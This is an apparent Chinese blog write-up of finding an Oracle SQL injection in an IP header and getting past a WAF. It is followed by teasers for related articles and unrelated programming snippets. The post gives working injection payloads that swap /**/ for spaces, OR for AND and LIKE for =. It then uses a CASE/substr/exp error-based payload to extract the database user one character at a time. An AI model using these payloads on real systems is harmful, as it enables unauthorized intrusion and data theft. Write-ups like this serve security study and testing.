记录一次Oracle注入绕waf
这个注入挺特殊的,是ip头注入。我们进行简单的探测:
首先正常发起一次请求,我们发现content-type是76
探测注入我习惯性的一个单引号:
一个单引号我发现长度还是76
我开始尝试单引号,双引号一起:
我失败了长度还是76
一般sql注入输入单引号一般长度都会有些变化。
我记录深入探测,我输入'--%20
返回了200,并且长度是0,这让我产生了一丝好奇。这里很有可能存在注入哦。
我继续探测:
输入--%20
嘶!我不禁开始怀疑这里是不是本身就不存在安全问题呢?
我都感觉像是数字类型了,很显然不是。。因为假设是数字类型注入输入'--%20会报错。
那么究竟是什么问题呢?我觉得应该是过滤了注释符。过滤了--%20
我开始换一种方式进行探测:
我尝试输入'%20and%20'1'='1
返回200,长度为空,并且没有报false的提示,我觉得有戏,我尝试输入'%20and%20'1'='2
输出都一样。。。太坑了吧,这里我猜测可能过滤了and,也有可能过滤了空格
我们先把空格用+代替显示:
输入:'+and+'1'='1
返回长度还是76,继续输入:
'+and+'1'='2
没任何变化。好了+号测试了不行,我们试试还有啥方法可以代替空格?
输入'/**/and/**/'1'/**/=/**/'1:
返回长度76,继续输入:
'/**/and/**/'1'/**/=/**/'2
返回长度还是76。。没任何变化。
现在测试了三种方法,那么这里继续推测1.可能过滤了and 2.可能过滤了=号
基于这两种过滤,我开始尝试把and 替换成or,把=替换成/**/
再进行输入新的payload:
'/**/or/**/'1'/**/like/**/'1
oh!我感觉我有希望了,他终于返回了不一样的结果,接下来继续探测:
输入:'/**/or/**/'1'/**/like/**/'2
返回长度76,至此我可以很确认这是个sql注入。
现在我们在理清下思路:
1.使用like代替=
2.使用/**/代替空格
3.使用or代替and
然后我们构造如下payload进行探测数据库user:
'/***/OR/****/1/****/like/****/case/****/when/****/substr(user,1,1)/**/Like/***/'a'/**/then/**/1/****/else/****/exp(1111)/**/end/***/and/**/ '1'='1
成功遍历出数据库第一位是J:
然后我们依次往下遍历就是了就能得到完整的user内容。
简单的演示下整个注入的过程。
这次遇到的注入让我知道了,坚持就是胜利!
记录一次Oracle注入绕waf的更多相关文章
- 一次简单的SQL注入绕WAF
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- BUUCTF-[网鼎杯 2018]Fakebook(SSRF+联合注入绕Waf)
记一道SSRF配合SQL注入的题. 喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码.同时还有flag.php. <?php class ...
- SQL注入绕过waf的一万种姿势
绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...
- 绕WAF常见思路整理(一)
最*被*台的一些事情搞得心态有点崩,很久没写文了 *期想整理一下常见的各种操作中绕过WAF的思路与免杀的思路(这部分之前没整理完以后有机会再说),受限于个人水*因素所以一定是不完全的,而且在WAF日新 ...
- 绕WAF&安全狗新姿势
俗话说只要思路宽,绕狗绕的欢.前段时间我有尝试着用以下的方法绕狗,效果还不错.不过这方法呢也许这段时间可以绕过,过段时间可能就失效了,大家还是要多去尝试找到更多的方法. 举例-->整型注入 绕过 ...
- Burpsuit分块传输插件绕WAF原理和技巧(转)
0x00 原理 给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容.如图一所示 0x02 实验环境 本机win10+x ...
- 【ORACLE】记录通过执行Oracle的执行计划查询SQL脚本中的效率问题
记录通过执行Oracle的执行计划查询SQL脚本中的效率问题 问题现象: STARiBOSS5.8.1R2版本中,河北对帐JOB执行时,无法生成发票对帐文件. 首先,Quartz表达式培植的启 ...
随机推荐
- JPasswordField密码框,JList列表框
[JPasswordField密码框] //导入Java类 import javax.swing.*; import java.awt.*; import java.awt.event.ActionE ...
- window下 mongodb快速安装
下载地址 https://www.mongodb.org/dl/win32/x86_64-2008plus-ssl 建立文件夹和文件 #数据库路径 dbpath=G:\mongodb3.4.12\da ...
- css_选择器
老师的博客:https://www.cnblogs.com/liwenzhou/p/7999532.html 参考w3 school:http://www.w3school.com.cn/css/cs ...
- centos7下kubernetes(14。kubernetes-DNS访问service)
我们在部署kubernetes时,会自动部署dns组件,其作用是通过dns解析的方法访问service coredns是一个DNS服务器,每当有新的service被创建,kube-dns会添加该ser ...
- Linux:Day13(下) GRUB
GRUB(Boot Loader): grub:GRand Unified Bootloader grub 0.x:grub legacy grub 1.x:grub2 grub legacy: st ...
- try/catch中finally的执行时间
前言 由于总是搞不清楚try/catch中的一个执行顺序,返回结果.所以总结一下 1.finally没有return 时,可以看出finally确实在return之前执行了 public static ...
- 【原创】架构师必备,带你弄清混乱的JAVA日志体系!
引言 还在为弄不清commons-logging-xx.jar.log4j-xx.jar.sl4j-api-xx.jar等日志框架之间复杂的关系而感到烦恼吗? 还在为如何统一系统的日志输出而感到不知所 ...
- 移除Windows图标快捷方式小箭头
以管理员身份运行cmd,输入 reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f & taskkill /f / ...
- 双字节验证:vue输入框中英文字数长度验证
export default { data() { let validcodeName=(rule,value,callback)=>{ //替换双字节汉字,为aa,限制输入框长度: if(va ...
- Cards and Joy CodeForces - 999F (贪心+set)
There are nn players sitting at the card table. Each player has a favorite number. The favorite numb ...